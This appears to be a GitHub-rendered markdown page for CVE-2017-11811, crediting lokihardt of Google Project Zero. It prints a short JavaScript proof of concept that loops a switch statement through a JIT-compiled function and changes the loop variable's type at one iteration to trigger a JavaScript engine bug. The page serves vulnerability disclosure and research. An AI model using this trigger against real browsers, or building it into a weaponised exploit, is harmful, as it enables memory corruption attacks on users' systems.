Skip to content

Latest commit

 

History

History
54 lines (46 loc) · 1.05 KB

CVE-2017-11811.md

File metadata and controls

54 lines (46 loc) · 1.05 KB

CVE-2017-11811

  • Fix: Nov 2017
  • Credit: lokihardt of Google Project Zero

PoC

function opt() {
    for (let i = 0; i < 100; i++) {
        let j = i - 2;
        switch (i) {
            case 2:
            case 4:
            case 6:
            case 8:
            case 10:
            case 12:
            case 14:
            case 16:
            case 18:
            case 20:
            case 22:
            case 24:
            case 26:
            case 28:
            case 30:
            case 32:
            case 34:
            case 36:
            case 38:
                break;
        }

        if (i == 90) {
            i = 'x';
        }
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

Reference